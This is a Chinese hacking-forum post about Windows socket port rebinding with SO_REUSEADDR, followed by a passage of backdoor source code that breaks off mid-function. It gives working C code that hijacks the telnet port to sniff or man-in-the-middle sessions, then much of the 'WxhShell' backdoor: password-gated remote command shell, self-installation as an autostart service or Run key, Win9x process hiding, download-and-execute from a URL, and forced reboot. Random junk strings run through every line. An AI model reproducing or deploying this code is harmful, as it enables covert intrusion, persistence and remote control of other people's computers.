社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18057阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vQ 6^xvk]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2fL;-\!y(  
Iy&!<r7:]0  
  saddr.sin_family = AF_INET; 8)_XJ"9)G  
yd d7I&$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  R[D{|K@"  
gi1^3R[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8<QdMkI  
Hquc o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  "y}--  
b0Ps5G\ u  
  这意味着什么?意味着可以进行如下的攻击: ,?^ p(w  
VAHh~Q6 ;e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o6.^*%kM'  
M/"I2m   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T4Pgbop  
9sYMSc~Bm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )"7iJb<E  
+V{kb<P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8}O lL,fP  
inMA:x}cF1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SE1=>S%p  
hcsP2 0s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Swig;`  
;DfY#-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g}1B;zGf  
pmyXLT  
  #include r@H /kD  
  #include Ga^"1TZ x  
  #include "R;U/+  
  #include    Yi%;|]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2} /aFR  
  int main() }C"%p8=HM  
  { / *#r`A  
  WORD wVersionRequested; p>v$FiV2N  
  DWORD ret; yEqps3%  
  WSADATA wsaData; 6]WAUK%h  
  BOOL val; vc;$-v$&  
  SOCKADDR_IN saddr; t%/&c::(6  
  SOCKADDR_IN scaddr; BYL)nCc  
  int err; "^})zf~_  
  SOCKET s; 61C7.EZZ;  
  SOCKET sc; }HYbS8'  
  int caddsize; PR#exm&  
  HANDLE mt; 9<6;Hr,>G  
  DWORD tid;   X9W@&zQ  
  wVersionRequested = MAKEWORD( 2, 2 ); :^6y7&o[  
  err = WSAStartup( wVersionRequested, &wsaData ); 6 $4[gcL'  
  if ( err != 0 ) { /K@XzwM  
  printf("error!WSAStartup failed!\n"); M2,l7  
  return -1; N2^=E1|_  
  } ZB= E}]v6  
  saddr.sin_family = AF_INET; & p  
   NvceYKp:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /=nJRC3.  
vxBgGl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EIP /V  
  saddr.sin_port = htons(23); )4e.k$X^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^1I19q  
  { \h/H#j ZJ  
  printf("error!socket failed!\n"); )0]'QLH  
  return -1; MS~(D.@ZS  
  } A4x]Qh3OO  
  val = TRUE; ]g3JZF-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Uiw2oi&_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {BN#h[#B{  
  { :%=Xm   
  printf("error!setsockopt failed!\n"); ,q`\\d  
  return -1; <`=j^LU  
  } I3L<[-ZE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2`K=Hby  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VPJElRSH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AofKw  
y'.p&QH'`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g wRZ%.Cn  
  { q 'yva  
  ret=GetLastError(); 0 1rK8jX  
  printf("error!bind failed!\n"); 6xx ?A>:  
  return -1; X 'Xx"M  
  } q"lSZ; 'E  
  listen(s,2); \';gvr|  
  while(1) +Mb.:_7'  
  { *Hn8)x}E  
  caddsize = sizeof(scaddr); `4J$Et%S  
  //接受连接请求 $ bR~+C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p?OoC  
  if(sc!=INVALID_SOCKET) P/eeC"  
  { cOJo3p;&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &DX! f  
  if(mt==NULL) =&]g "a'  
  { ~q.F<6O  
  printf("Thread Creat Failed!\n"); %J?xRv!  
  break; r#p9x[f<Y  
  } QA`sx  
  } sY&IquK^  
  CloseHandle(mt); Ee! 4xg  
  } N =}A Z{$  
  closesocket(s); Xc-'Y"}|`t  
  WSACleanup(); #=A)XlZMd  
  return 0; cF}".4|kZ<  
  }   vpr.Hn  
  DWORD WINAPI ClientThread(LPVOID lpParam) F^;ez/Gl  
  { EV%gF   
  SOCKET ss = (SOCKET)lpParam; ^jZbo {  
  SOCKET sc; cdT7 @  
  unsigned char buf[4096]; |/{=ww8|  
  SOCKADDR_IN saddr; }&J q}j  
  long num; ##>H&,Dp[  
  DWORD val; '-~~-}= sJ  
  DWORD ret; k?^z;Tlvw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <\^8fn   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JPw.8|V)y  
  saddr.sin_family = AF_INET; _]H&,</  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K w ]=  
  saddr.sin_port = htons(23); 8(~ h"]`!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?CPahU  
  { h*](a_0  
  printf("error!socket failed!\n");  x'<X!gw  
  return -1; 6LIJ Q  
  } 0aB;p7~&  
  val = 100; E ~<JC"]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vA8nvoi  
  { >|UOz&  
  ret = GetLastError(); Yc?*dUV  
  return -1; Tyx_/pJT  
  } `X&gE,Ii  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &V/Mmm T  
  { 1mG-}  
  ret = GetLastError(); x7[BK_SY  
  return -1; EaN6^S=  
  } %7+qnH*;r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cVF "!.  
  { _q-*7hCQ`  
  printf("error!socket connect failed!\n"); h2d(?vOT  
  closesocket(sc); VMWf>ZU  
  closesocket(ss); $ddCTS^  
  return -1; 4,DeHJjAlE  
  } &D*b|ilvc  
  while(1) ( a#BV}=  
  { }BP;1y6-r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P&LsVR{#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]c'A%:f<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3[*}4}k9  
  num = recv(ss,buf,4096,0); 5=ryDrx  
  if(num>0) c\j/k[\<  
  send(sc,buf,num,0); gg2( 5FPP  
  else if(num==0) 9G2FsM|,  
  break; sfl<qD+?  
  num = recv(sc,buf,4096,0); xJ.M;SF4  
  if(num>0) S?2>Er  
  send(ss,buf,num,0); UkFC~17P  
  else if(num==0) ]D\D~!R  
  break; l*G[!u  
  } DN6Mo<H  
  closesocket(ss); Xsa].  
  closesocket(sc); Ig{0Z">  
  return 0 ; Jln:`!#fDf  
  } b&U62iq  
SOIN']L|V[  
`Urhy#LC  
========================================================== G 01ON0  
P]C<U aW'!  
下边附上一个代码,,WXhSHELL pd$[8Rmj_  
J#83 0r(-  
========================================================== xyXa .  
} ^\oCR@  
#include "stdafx.h" 2&cT~ZX&'  
o)/ 0a  
#include <stdio.h> qf-8<{T  
#include <string.h> <F'\lA9  
#include <windows.h> *{5fq_  
#include <winsock2.h> gjlx~.0d  
#include <winsvc.h> ~&uHbTq  
#include <urlmon.h> ~"A0Rs=  
0=$T\(0g  
#pragma comment (lib, "Ws2_32.lib") {n=|Db~S  
#pragma comment (lib, "urlmon.lib") eyxW 0}[  
6aj!Q*(WT  
#define MAX_USER   100 // 最大客户端连接数 kq-) ^,{y  
#define BUF_SOCK   200 // sock buffer 3XNCAb2  
#define KEY_BUFF   255 // 输入 buffer 3OB"#Ap8<  
C,eu9wOT  
#define REBOOT     0   // 重启 dc'Y `e  
#define SHUTDOWN   1   // 关机 ^B^9KEjTz  
F"mmLao  
#define DEF_PORT   5000 // 监听端口 A@u@ift  
5bb(/YtFy  
#define REG_LEN     16   // 注册表键长度 NxILRKwO  
#define SVC_LEN     80   // NT服务名长度 '5tCz9}Y  
w32y3~  
// 从dll定义API q,%st~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CvdN"k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B<C&xDRZ0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /mZE/>&~ ,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2Khv>#l  
ee=D1qNu;  
// wxhshell配置信息 |':{lH6+1  
struct WSCFG { !'I8:v&D  
  int ws_port;         // 监听端口 }QmqoCAE~m  
  char ws_passstr[REG_LEN]; // 口令 MqMQtU9w  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1 -b_~DF  
  char ws_regname[REG_LEN]; // 注册表键名 z@j8lv2j1  
  char ws_svcname[REG_LEN]; // 服务名 [N'h%1]\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Alq(QDs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h@BY]80  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "Y.y:Vv;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h yIV.W/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8?C5L8)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tsx>&WC  
_VXN#@y  
}; dF2RH)Ud  
I`#JwMU;m  
// default Wxhshell configuration 4Po_-4  
struct WSCFG wscfg={DEF_PORT, 6MI8zRX  
    "xuhuanlingzhe", q cno^8R  
    1, Q59W#e)  
    "Wxhshell", _ x*3PE  
    "Wxhshell", !_(Tqyg&  
            "WxhShell Service", :E?V.  
    "Wrsky Windows CmdShell Service", S,=|AD  
    "Please Input Your Password: ", fc@A0Hf  
  1, 4GM6)"#d  
  "http://www.wrsky.com/wxhshell.exe", #LCb  
  "Wxhshell.exe" )`}:8y?  
    }; 1YMh1+1  
T9&1VW  
// 消息定义模块 Q@HV- (A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \`"ht  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -{A<.a3P}=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {>;R?TG]$  
char *msg_ws_ext="\n\rExit."; GKCroyor  
char *msg_ws_end="\n\rQuit."; jh$='Gn  
char *msg_ws_boot="\n\rReboot..."; azU"G(6y?+  
char *msg_ws_poff="\n\rShutdown..."; -']56o_sQ/  
char *msg_ws_down="\n\rSave to "; .p$(ZH =~  
mV m Gg,  
char *msg_ws_err="\n\rErr!"; i?;Kq~,  
char *msg_ws_ok="\n\rOK!"; ~{gqsuCCL  
y?!"6t7&  
char ExeFile[MAX_PATH]; =Runf +}  
int nUser = 0;  z$Qbj  
HANDLE handles[MAX_USER];  C.QO#b  
int OsIsNt; M:V_/@W.  
uVU)d1N  
SERVICE_STATUS       serviceStatus; qY#6SO`_iy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aN=B]{!  
ze;KhUPRm  
// 函数声明 ZG@q`<:j  
int Install(void); ?hM64jI|  
int Uninstall(void); ::F|8  
int DownloadFile(char *sURL, SOCKET wsh); A(N4N  
int Boot(int flag); lys#G:H]  
void HideProc(void); GH xp7H  
int GetOsVer(void); UZ$/Ni  
int Wxhshell(SOCKET wsl); ;=UsAB]  
void TalkWithClient(void *cs); rN{ c7/|  
int CmdShell(SOCKET sock); U%<Inb}ad  
int StartFromService(void); |)G<,FJQE_  
int StartWxhshell(LPSTR lpCmdLine); a}u Sm/S  
l@:0e]8|o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |WUG}G")*x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =rK+eG#,  
FGQzoS  
// 数据结构和表定义 E~:x(5'%d  
SERVICE_TABLE_ENTRY DispatchTable[] = ~v"L!=~G;a  
{ Q3SS/eNP  
{wscfg.ws_svcname, NTServiceMain}, Tb-F]lg$  
{NULL, NULL} JMM W  
}; MJrR[h]  
2:=  
// 自我安装 <^uBoKB/f  
int Install(void) qjc4.,/  
{ o8vug$=Z  
  char svExeFile[MAX_PATH]; b_):MQ1{  
  HKEY key; uM'Jp?  
  strcpy(svExeFile,ExeFile); Qw)c$93  
D#)b+7N-  
// 如果是win9x系统,修改注册表设为自启动 $tS}LN_!  
if(!OsIsNt) { @ry_nKr9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z$xo$R(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6JQ'Ik;$wX  
  RegCloseKey(key); 6MkP |vr6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BVO<e \>3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O0y_Lm\  
  RegCloseKey(key); Ub!(H^zu  
  return 0; "w.3Q96r  
    } IN G@B#Cl  
  } puM3g|n@  
} :08,JL{  
else { t`mV\)fa  
"FKOaQ%IH  
// 如果是NT以上系统,安装为系统服务 '6Q =#:mc\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uR r o?m<  
if (schSCManager!=0) Ue~CwFOc  
{ k)Qtfj}uij  
  SC_HANDLE schService = CreateService ^ovR7+V  
  ( aAA U{EWW  
  schSCManager, 5[u]E~Fl}  
  wscfg.ws_svcname, I(0~n,=j  
  wscfg.ws_svcdisp, u-5{U-^_  
  SERVICE_ALL_ACCESS, &IB|rw'9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tC9n k5~  
  SERVICE_AUTO_START, >J>[& zS  
  SERVICE_ERROR_NORMAL, [1 9,&]z  
  svExeFile, A$:U'ZG_  
  NULL, >&5DsV.B  
  NULL, 0=E]cQwh  
  NULL, v oj^pzZ  
  NULL, Eg3q!J&Z  
  NULL `lt"[K<  
  ); :A'y+MnK<  
  if (schService!=0) -p XSSa;O9  
  { pD#rnp>WWt  
  CloseServiceHandle(schService); DZ PPJ2}  
  CloseServiceHandle(schSCManager); 8eHyL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }@+:\   
  strcat(svExeFile,wscfg.ws_svcname); exUu7& *:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  O+Y6N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eM?I$ePTN  
  RegCloseKey(key); _8_R 1s  
  return 0; &@Be2!%'9K  
    } @7j AL-  
  } "u^H# L>-q  
  CloseServiceHandle(schSCManager); 6MMOf\   
} DG:Z=LuJr  
} o="M  
W+ko q*P  
return 1; oHn Ky[1  
} >_"an~Ss  
e [mm  
// 自我卸载 D!-g&HBTC  
int Uninstall(void) X!dYdWw*m  
{ T !WT;A  
  HKEY key; O5nD+qTQ#  
]a*d#  
if(!OsIsNt) { %.-4!vj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '=8d?aeF  
  RegDeleteValue(key,wscfg.ws_regname); Doyx[zZ  
  RegCloseKey(key); "8jf81V*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2?ez,*-[  
  RegDeleteValue(key,wscfg.ws_regname); qL3;}R  
  RegCloseKey(key); !/i{l  
  return 0; h-<81"}j1  
  } Jgd'1'FOs  
} UJ7*j%XQz_  
} ;dZZ;#k%  
else { }"%?et(  
s/ qYa])  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hxd`OG<gF  
if (schSCManager!=0) :Cs4NF   
{ 7XLtN "$$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k(7&N0V%zz  
  if (schService!=0) ^sEYOX\  
  { `1{ZqRFQ  
  if(DeleteService(schService)!=0) { 3z9d!I^>k  
  CloseServiceHandle(schService); ]e>w }L(gV  
  CloseServiceHandle(schSCManager); FX`>J6l:X  
  return 0; gANuBWh8T  
  } H-*yh!  
  CloseServiceHandle(schService); _w+:Dv~*a  
  } V0.vQ/  
  CloseServiceHandle(schSCManager); `WFw3TI  
} dx{bB%?Y\=  
} J76kkW`5  
Ed,~1GanY  
return 1; JZ*/,|1}EC  
} +tIF h'  
L<-_1!wh  
// 从指定url下载文件 2E/"hQw  
int DownloadFile(char *sURL, SOCKET wsh) a /l)qB#  
{ i&66Fi1  
  HRESULT hr; >j(_[z|v3  
char seps[]= "/"; )j(7]uX`  
char *token; ex9g?*Q  
char *file; bvr^zH,C  
char myURL[MAX_PATH]; FR4QUk  
char myFILE[MAX_PATH]; E=CsIK   
Cc' 37~6~P  
strcpy(myURL,sURL); %x{kc3PnO  
  token=strtok(myURL,seps); 7>Ouqxh21  
  while(token!=NULL) foF({4q7b^  
  { eH3JyzzP,  
    file=token; w QH<gJE/:  
  token=strtok(NULL,seps); &<5zqsNJ\a  
  } &(G\[RWp\  
l7259Ro~  
GetCurrentDirectory(MAX_PATH,myFILE); +N9X/QFKV  
strcat(myFILE, "\\"); ZaDyg"Tw+  
strcat(myFILE, file); +[AQUc  
  send(wsh,myFILE,strlen(myFILE),0); 4Lh!8g=/  
send(wsh,"...",3,0); '()xHEGl3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &Gn 2tr  
  if(hr==S_OK) DV+xg3\(>1  
return 0; V2?=4mb  
else YEs&  
return 1; )}]g] g  
I<4Pur>"  
} 3yY}04[9<  
Lh"<XYY  
// 系统电源模块 ?WUA`/[z  
int Boot(int flag) Av$^  
{ m )zUU  
  HANDLE hToken; 1k5Who@  
  TOKEN_PRIVILEGES tkp; @ ZwvBH  
UcDS9f_87  
  if(OsIsNt) { t#/YN.@r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |zNX=mAV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )uIe&B  
    tkp.PrivilegeCount = 1; Xy&A~F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5\sd3<:+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }DE g-j,F  
if(flag==REBOOT) { Xe'x[(l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f ue(UMF~  
  return 0; ^q vbqfh  
} #$+*;  
else { BB$>h}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .fFCC`&T  
  return 0; kr5">"7  
} *74MWF@IY  
  } +I:Unp  
  else { cAqLE\h  
if(flag==REBOOT) { uR4z &y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6V:U (g  
  return 0; ]z;I _-  
} `?qF$g9u~  
else { 4 Y9`IgQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :&rt)/I  
  return 0; W$;,CU.v  
} ufZDF=$7  
} |t&>5HM  
F>6|3bOR  
return 1; ,RI Gc US  
} UiP"Ixg6  
4Zddw0|2  
// win9x进程隐藏模块 { Fb*&|-n  
void HideProc(void) x8\?}UnB  
{ @#>rYAb8,  
D~iz+{Q4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AW'0,b`v  
  if ( hKernel != NULL ) )Y0!~# `  
  { G1tY)_-8[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y0.'?6k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o5O#vW2Il&  
    FreeLibrary(hKernel); "'.UU$]d  
  } 7\[@ m3s  
*3FKt&v 0  
return; q=m'^ ,gPS  
} TR`U-= jH,  
t!X. |`h  
// 获取操作系统版本 tBWrL{xLe  
int GetOsVer(void) mzKiO_g}  
{ E\EsWb  
  OSVERSIONINFO winfo; ^_W#+>&--  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tc:)- z[o  
  GetVersionEx(&winfo); 8z`G,qh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fc3{sZE2M  
  return 1; +oML&g-g_  
  else F6|]4H.3Q  
  return 0; : /N0!&7  
} M `M5'f  
FUb\e-Q=  
// 客户端句柄模块 nEy&>z  
int Wxhshell(SOCKET wsl) ]Sz:|%JP1  
{ Yn Mvl  
  SOCKET wsh; 1#2 I  
  struct sockaddr_in client; ncdKj}  
  DWORD myID; T/~f~Zz  
$6 9&O  
  while(nUser<MAX_USER) KqJs?Won  
{ {9pZ)tB  
  int nSize=sizeof(client); iC~^)-~H=w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ! E5HN :#  
  if(wsh==INVALID_SOCKET) return 1; }C?'BRX  
H@>` F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); itP,\k7>d  
if(handles[nUser]==0) lNh70G8^p  
  closesocket(wsh); Rsk4L0  
else Eyqa?$R  
  nUser++; 6l x>>J!H  
  } &`r-.&Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q3N jky1w  
P|E| $)m  
  return 0; ..5CC;B  
} !i}w~U<  
%)1?TU  
// 关闭 socket M FMs[+2_o  
void CloseIt(SOCKET wsh) "+nRGEs6  
{ lb3b m)@:  
closesocket(wsh); Iyn(?w  
nUser--; |SSSH  
ExitThread(0); _J#zY- j  
} G>}255qY  
J yK3{wYS  
// 客户端请求句柄 I$G['` XX/  
void TalkWithClient(void *cs) V2EUW!gn 2  
{ +3BN}  
`/+>a8  
  SOCKET wsh=(SOCKET)cs; /36:ms A  
  char pwd[SVC_LEN]; Wvh#:Z  
  char cmd[KEY_BUFF]; n( yn<  
char chr[1]; Hvi49c]]  
int i,j; 9W5lSX#^;  
v{4$D~I  
  while (nUser < MAX_USER) { V f&zL Sgr  
<xm7qmqI  
if(wscfg.ws_passstr) { Z5n1@a __  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9.-S(ZO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |HQW0  
  //ZeroMemory(pwd,KEY_BUFF); zC!t;*8a  
      i=0; TIDO@NwF  
  while(i<SVC_LEN) { ]%H`_8<gc  
>+1duAC  
  // 设置超时 "(O>=F&  
  fd_set FdRead; /,yd+wcW#  
  struct timeval TimeOut; \}b%E'+_T  
  FD_ZERO(&FdRead); !Ai@$tl[S  
  FD_SET(wsh,&FdRead); 7JH6A'&  
  TimeOut.tv_sec=8; qEOhwrh  
  TimeOut.tv_usec=0; \M^bD4';>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M%m4i9~!?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f$$/H>MJ  
{!L~@r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0{D'n@veP  
  pwd=chr[0]; #;yZ  
  if(chr[0]==0xd || chr[0]==0xa) { !F$6-0%  
  pwd=0; x 9fip-  
  break; a;+9mDXx:  
  } O^ yG?b  
  i++; Jnov<+  
    } l ymCH  
g) jYFfGfH  
  // 如果是非法用户,关闭 socket Xx:"4l.w.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y$_B1_  
} U5de@Y  
kl:Bfs)b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); onzxx4bax  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h:|qC`}  
F JyT+  
while(1) { } q8ASYNc  
xb8!B  
  ZeroMemory(cmd,KEY_BUFF); 8d'0N  
5rik7a)Z]  
      // 自动支持客户端 telnet标准   26h21Z16q  
  j=0; F)eelPZ+,  
  while(j<KEY_BUFF) { 5$k:t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rey!{3U  
  cmd[j]=chr[0]; @o`AmC . 8  
  if(chr[0]==0xa || chr[0]==0xd) { =Xr.'(U  
  cmd[j]=0; x.$FNt(9  
  break; s$j,9uRr  
  } tR$NRMZ.  
  j++; YT,{E,U;  
    } wibNQ`4k  
D0f]$  
  // 下载文件 =I_'.b  
  if(strstr(cmd,"http://")) { M_DwUS 1?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eaU  
  if(DownloadFile(cmd,wsh)) 5{,<j\#L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M o|2}nf  
  else !4+<<(B=E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >A"(KSNL  
  } OjA,]Gv6  
  else { V0mn4sfs  
YoFxW5by  
    switch(cmd[0]) { Nh +H9  
  }jPSUdo  
  // 帮助 N;%6:I./  
  case '?': { -KbYOb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GM<9p_ B  
    break; Ow,b^|  
  } T)_hpt.  
  // 安装 #/37V2E  
  case 'i': { 9M c ae 31  
    if(Install()) Tid aa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R4d=S4 i  
    else Z;"vW!%d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Kz,{F@  
    break; dj%!I:Q>u  
    } 7G],T++N  
  // 卸载  %;!.n{X  
  case 'r': { Ax}JLPz5'  
    if(Uninstall()) mX|ojZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a8Wwq?@  
    else pfI&E#:5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -UT}/:a  
    break; e+K^A q  
    } ?Mfw]z"\C)  
  // 显示 wxhshell 所在路径 Etm?'  
  case 'p': { oP.7/*p  
    char svExeFile[MAX_PATH]; \l3h0R  
    strcpy(svExeFile,"\n\r"); -s/ea~=R  
      strcat(svExeFile,ExeFile); > Nr#O  
        send(wsh,svExeFile,strlen(svExeFile),0); ^<AwG=  
    break; }ad|g6i`  
    } (7*}-Uy[C  
  // 重启 =g|FT  
  case 'b': { bZV/l4TU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !|>"o7  
    if(Boot(REBOOT)) ? =+WRjF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); syK^<xa  
    else { 4KrL{Z+}  
